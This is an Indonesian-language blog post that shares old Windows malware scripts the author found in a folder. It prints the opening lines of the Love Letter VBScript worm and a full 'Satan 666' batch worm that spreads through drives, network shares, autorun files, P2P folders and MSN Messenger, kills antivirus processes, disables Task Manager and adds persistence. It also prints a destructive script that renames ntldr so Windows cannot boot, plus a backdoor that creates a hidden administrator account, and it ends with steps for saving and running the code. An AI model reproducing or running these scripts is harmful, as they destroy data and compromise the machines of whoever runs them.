Crita nya pas lagi Bongkar" Folder Lawas gw, tau" nemu folder virus yg dah lama kagak ke urus. dari pada kgk manfaat mending gw bagi aj. spa tau ad yg butuh. wkwkwkwkwk
nih simak ye.
==========================================================================
[1.] Love Letter
[2.] Satan 666
=========================================================================
[3.] D'Kremi
nih simak ye.
==========================================================================
[1.] Love Letter
Code:
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()====================================================================================[2.] Satan 666
Code:
@EcHo OfF&mOdE cOn LiNeS=1&mOdE cOn CoLs=1
For %%a in (C D E F G H I J K) do (
copy "%0" "%%a" /y
attrib +s +h +r "%%a:\%0"
echo MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM >>sponsor.txt
echo MMMMMMMMMMMMds+:--------:+sdNMMMMMMMMMMM>>sponsor.txt
echo MMMMMMMMms:-+sdNMMMMMMMMNdy+--omMMMMMMMM>>sponsor.txt
echo MMMMMMh:` /mMMMMMMMMMMMMMMMMm+ `-yMMMMMM>>sponsor.txt
echo MMMMd--hN``--sNMMMMMMMMMMNy:..`md:.hMMMM>>sponsor.txt
echo MMM+`yMMMy hd+./hMMMMMMh/.+dd sMMMh`/MMM>>sponsor.txt
echo MM:.mMMMMM:.NMMh/.+dd+./hMMM--MMMMMm--NM>>sponsor.txt
echo M+`mMMMMMMN`+MMMMm- .dMMMMo mMMMMMMN.:M>>sponsor.txt
echo d yMMMMMMMMy dNy:.omNs--sNm oMMMMMMMMh h>>sponsor.txt
echo /`MMMMMMMMMM.`.+dMMMMMMm+.``NMMMMMMMMM-:>>sponsor.txt
echo .:MMMMMMMd+./`oMMMMMMMMMMs /.+dMMMMMMM/`>>sponsor.txt
echo .:MMMMmo.:yNMs dMMMMMMMMm`oMNy:.omMMMM/`>>sponsor.txt
echo /`MNy:.omMMMMM--MMMMMMMM:.MMMMMNs--sNM.:>>sponsor.txt
echo d -` :++++++++: /++++++/ :++++++++: : h>>sponsor.txt
echo M+ yddddddddddd+ yddddy /dddddddddddy`/M>>sponsor.txt
echo MM/.mMMMMMMMMMMM.-MMMM/.NMMMMMMMMMMm.:NM>>sponsor.txt
echo MMMo`sMMMMMMMMMMd sMMy hMMMMMMMMMMy`+MMM>>sponsor.txt
echo MMMMd--hMMMMMMMMM+`mN`/MMMMMMMMMh--hMMMM>>sponsor.txt
echo MMMMMMh:.omMMMMMMN.:/`NMMMMMMms.:hMMMMMM>>sponsor.txt
echo MMMMMMMMNs:./shmMMh yMMNds/.:smMMMMMMMM>>sponsor.txt
echo MMMMMMMMMMMMdy+/---``---:+sdMMMMMMMMMMMM>>sponsor.txt
echo MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM>>sponsor.txt
echo.>>sponsor.txt
echo [ Welcome in my Evil Script room.]>>sponsor.txt
echo [Blacker Was Here]>>sponsor.txt
copy "sponsor.txt" "%%a" /y)
date 06/06/2006
time 06:06
@SeTlOcAl EnAbLeDeLaYeDeXpAnSiOn
@SeT n="%~0"
@SeT r=%random:~0,1%
@SeT HoMeDrIvE=%SyStEmDrIvE%
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
CoPy %n% "%SyStEmRoOt%\SyStEm32\autoexec.bat" /Y
cD /d %SystemRoot%\System32
call:a>vbs.vbs
if "%1"=="" (
start vbs.vbs&exit
) else (
GoTo:c
)
:a
echo SET a=Wscript.CreateObject^("Wscript.Shell"^)
echo a.Run "cmd.exe /c autoexec.bat 0", vbHide
GoTo:EoF
:c
del /q vbs.vbs
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:CoDe
SeT X1=Si&&sET X2=lv
sEt X3=%X1:sI=er%&&SeT X4=%X3:Er=Fo%
echo %X1%%X2%%X3% %X4%X > "%SyStEmdRivE%\%X1%%X2%%X3% %X4%X.txt"
FoR /l %%a iN (1,1,3) dO (sEt C=!C! %%a)
TyPe %n%>%SyStEmRoOt%\SyStEm32\hal.dll:aT.bat
cAlL:rEgiStRy HkLm\SoFtWaRe\MiCrOsOfT\wInDoWs\CuRrEnTvErSiOn rEg SyStEmRoOt!C! ReG_sZ
cAlL:aT %r%
If NoT "%1"=="" (cAlL:%1) eLsE (GoTo:EoF)
GoTo:EoF
:rEgiStRy
%2 ADD "%1\RuN" /v "%3" /T "%4" /d "CmD.eXe /C mOrE < %SyStEmRoOt%\SyStEm32\hal.dll:aT.bat > %SyStEmRoOt%\autoexec.bat && start %SyStEmRoOt%\autoexec.bat" /f
%2 ADD "%1\RuN" /v "PixMon" /T "%4" /d "%SyStEmRoOt%\SyStEm32\autoexec.bat" /f
GoTo:EoF
:aT
aT %r%:00 /interactive "sTaRt %SyStEmRoOt%\SyStEm32\autoexec.bat %r%"
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:1
sEt S=tSk.exe
sEt I=%S:.exe=Ill%
seT l=%I:tsK=PcM%
set x=%s:TsK=av%
sET oZ=%S:.ExE=pHo%
Set F=%l:Ill=av%
sEt O=%f:pCm=AnS%
sEt zEr=%oZ:tSk=Mor%
SeT mO=%x:.exe=i%
For /l %%a in (1,2,100) do For %%b in (%f%-cln %f%-rtp %o%gd %o%d %mo% %mo%d %zer%st) do %i% %%b
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:2
FoR /f "ToKeNs=*" %%z In ('DiR /b /s %HoMeDrIvE%\*.bat') dO (cOpY /y %n% "%%z")
FoR /f "ToKeNs=*" %%y In ('DiR /b /s %HoMeDrIvE%\*.cmd') dO (cOpY /y %n% "%%y")
If ExIsT "%PrOgRaMfIlEs%\WinRar" (
FoR /f "ToKeNs=*" %%w In ('DiR /b /s %HoMeDrIvE%\*.rar') dO (StArT /mIn wInRaR.eXe a "%%w" "%CD%\%~n0%~x0")
FoR /f "ToKeNs=*" %%v In ('DiR /b /s %HoMeDrIvE%\*.zip') dO (StArT /mIn wInRaR.eXe a "%%v" "%CD%\%~n0%~x0")
)
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:3
sEt h=%HomeDrive%
iF eXiSt "%PrOgRaMfIlEs%\WinRar" (
sTarT wInRaR.eXe a %h%\Hacking.rar
CoPy /Y %n% %h%\Hacking.bat
sEt ext=rar
) else (
sEt ext=bat
)
MkDiR %h%\p2p&ChDiR %h%\p2p
FoR %%r iN (msnhacker,hacking,msnflood,hackmsn) dO (
CoPy /Y %h%\Hacking.%ext% %%r.%ext%
)
FOR %%p IN ("%PROGRAMFILES%\Kazaa\My Shared Folder",
"%PROGRAMFILES%\Kazaa Lite\My Shared Folder",
"%PROGRAMFILES%\Grokster\My Grokster",
"%PROGRAMFILES%\Morpheus\My Shared Folder",
"%PROGRAMFILES%\EDONKEY2000\incoming",
"%PROGRAMFILES%\Gnucleus\Downloads",
"%PROGRAMFILES%\eMule\Incoming",
"%PROGRAMFILES%\BearShare\Shared",
"%PROGRAMFILES%\Shareaza\Downloads",
"%PROGRAMFILES%\ICQ\shared files",
"%PROGRAMFILES%\Filetopia3\Files",
"%PROGRAMFILES%\appleJuice\incoming",
"%PROGRAMFILES%\LimeWire\Shared",
"%PROGRAMFILES%\Overnet\incoming",
"%PROGRAMFILES%\Swaptor\Download",
"%PROGRAMFILES%\WinMX\My Shared Folder",
"%PROGRAMFILES%\Tesla\Files",
"%PROGRAMFILES%\XoloX\Downloads",
"%PROGRAMFILES%\Rapigator\Share",
"%PROGRAMFILES%\KMD\My Shared Folder",
"%PROGRAMFILES%\Direct Connect\Received Files",
"%HOMEDRIVE%\My Shared Folder") DO (
IF EXIST %%p (
COPY /Y "%h%\p2p\*.*" %%p
)
)
GoTo:EoF
REM *-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*
:4
SET H=HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
REG ADD "%H%" /v "DisableTaskMgr" /t reg_dword /d "00000001" /f
REG ADD "%H%" /v "DisableRegistryTools" /t reg_dword /d "00000001" /f
DosKey tskill=exit&DosKey taskkill=exit
GoTo:EoF
REM *-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*
:5
TSKILL msnmsgr
IF NOT EXIST "%programfiles%\Messenger Plus! Live\Scripts\Plus! Live Script Engine\" (
MkDir "%programfiles%\Messenger Plus! Live\Scripts\Plus! Live Script Engine\"
)
REG ADD "HKCU\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\Plus! Live Script Engine" /v Enabled /t REG_DWORD /d 1 /f
CALL:msnpropagation>"%programfiles%\Messenger Plus! Live\Scripts\Plus! Live Script Engine\Plus! Live Script Engine.js"
GoTo:EoF
:msnpropagation
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)
echo {
echo if (Origin != Messenger.MyName)
echo {
echo ChatWnd.SendMessage("/nudge")
echo ChatWnd.SendMessage("http://www.Blackrebelions.ucoz.com");
echo }
echo }
PING -n 5 localhost > NUL
START msnmsgr.exe
GoTo:EoF
:6
MkDir %HomeDrive%\Playing&Copy /y %n% %HomeDrive%\Playing\Juego.bat
FOR %%d IN (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W, X,Y,Z) DO (
NET SHARE %%d=%HomeDrive%\Playing
)
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:7
sEt e=eChO
FOR /F "skip=3 eol=S" %%z IN ('net view') DO (
sEt u=%%z\C$\autorun.inf
COPY /Y %n% "%%z\C$\WormsGame.bat"
%e% [autorun]>!u! %e% shellexecute=WormsGame.bat>>!u!
)
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:8
FOR %%w IN (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
COPY /Y %n% "%%w:\Connect.bat"
echo [autorun]>%%w:\autorun.inf
echo shellexecute=Connect.bat>>%%w:\autorun.inf
)
GoTo:EoF
REM *-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*-*-*-*-*-*-*- *-*
:9
NeT uSeR %random%%r% /aDd
ChDir %SyStEmRoOt%
FoR /r %%G in (msvbvm60.dll) do iF ExIsT "%%G" REn "%%G" "%%~nG.%random%"
If eXiSt "%PROGRAMFILES%\VMWare" (
cd /d "%PROGRAMFILES%\VMWare\VMware Server"
start vmware-cmd "%SYsTemDriVe%\Virtual Machines\Win2000Pro\Windows 2000 Professional.vmx" stop
start vmware-cmd "%SYsTemDriVe%\Virtual Machines\WinXP\Windows XP Professional.vmx" stop
)
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
:0
GoTo:EoF
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
REM *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*[3.] D'Kremi
Code:
@echo off
:pesan_pembuka
echo Diary seorang Hacker >> "%userprofile%\Diary seorang Hacker.txt"
echo di hina dan di remehkan. >> "%userprofile%\Diary seorang Hacker.txt"
echo di takuti karena ilmu kami >> "%userprofile%\Diary seorang Hacker.txt"
echo dan di kusilkan karena takut rahasia kalian kami bongkar >> "%userprofile%\Diary seorang Hacker.txt"
echo inilah wujud balas dendam dari tindakan kalian >> "%userprofile%\Diary seorang Hacker.txt"
echo wujud dari ketakutan kalian >> "%userprofile%\Diary seorang Hacker.txt"
echo dan wujud dari kekecewaan kami >> "%userprofile%\Diary seorang Hacker.txt"
echo By: BlackRas Corporation >> "%userprofile%\Diary seorang Hacker.txt"
echo Diary seorang Hacker >> "D:\Diary seorang Hacker.txt"
echo di hina dan di remehkan. >> "D:\Diary seorang Hacker.txt"
echo di takuti karena ilmu kami >> "D:\Diary seorang Hacker.txt"
echo dan di kusilkan karena takut rahasia kalian kami bongkar >> "D:\Diary seorang Hacker.txt"
echo inilah wujud balas dendam dari tindakan kalian >> "D:\Diary seorang Hacker.txt"
echo wujud dari ketakutan kalian >> "D:\Diary seorang Hacker.txt"
echo dan wujud dari kekecewaan kami >> "D:\Diary seorang Hacker.txt"
echo By: BlackRas Corporation >> "D:\Diary seorang Hacker.txt"
:awal_infeksi
echo @echo off >> D:\kremisilit.bat
echo del C:\windows\system\iosubsys\persifrz.vxd >> D:\kremisilit.bat
echo copy "D:\kremisilit.bat" "%userprofile%\Start Menu\Programs\Startup\kremisilit.bat" >> D:\kremisilit.bat
echo cd %SYSTEMDRIVE%\ >> D:\kremisilit.bat
echo attrib ntldr -S -H >> D:\kremisilit.bat
echo ren ntldr baibai >> D:\kremisilit.bat
echo move /Y baibai %systemroot%\ >> D:\kremisilit.bat
echo shutdown -r -t 5 -f >> D:\kremisilit.bat
echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >> D:\kremisilit.bat
echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoRun /t REG_DWORD /d 1 /f >> D:\kremisilit.bat
echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >> D:\kremisilit.bat
echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Black Ras ad di komputer lo /t REG_DWORD /d 1 /f >> D:\kremisilit.bat
:awal_gejala
copy killer.bmp %systemdrive%\ /y
copy killer.bmp %systemdrive%\WINDOWS\ /y
copy killer.bmp %systemdrive%\WINDOWS\system32\ /y
copy kremisilit.bat %systemdrive%\ /y
copy kremisilit.bat %systemdrive%\WINDOWS\ /y
copy kremisilit.bat %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\killer.bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\killer.bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\kremisilit.bat /f===================================================================================[4.] Blackdoor (sebenrnya bkan vir. tp backdoor bwt winXP.)
Code:
@echo off
cls
Color 02
GOto iklan
:setting
cls
echo #####################################################
echo # #
echo # Blackerbackd00r #
echo # Program wat buat backdoor di windowsXP #
echo # #
echo # note: Gunakan untuk belajar #
echo # #
echo #####################################################
echo.
set /p USER= :username :
set /p PASS= :password :
if %USER%=="" Goto gagal else GOto proses
:proses
net user %USER% %PASS% /add
net localgroup Administrators %USER% /add
net localgroup Users %USER% /delete
cls
echo.
echo Account %USER% dengan password %PASS% telah berhasil di buat!
pause
color 70
EXIT
:iklan
rem * just a banner from me :) , bisa di hilangkan :p
echo.
echo #####################################################
echo # #
echo # Blackerbackd00r #
echo # Program wat buat backdoor di windowsXP #
echo # #
echo # note: Gunakan untuk belajar #
echo # #
echo #####################################################
echo.
echo tekan ENTER !!!
pause>nul
Goto setting
:gagal
echo.
echo Sorry om, kagak berhasil nih Backdoor na.
echo.
goto setting===================================================================================Udahan Dolo Ahhhh Cape !! :P wkwkkwkwkw
1.Buka NotePad Copy Code Di Atas !2.Save As Dengan File Holy.bat 
0 komentar:
Post a Comment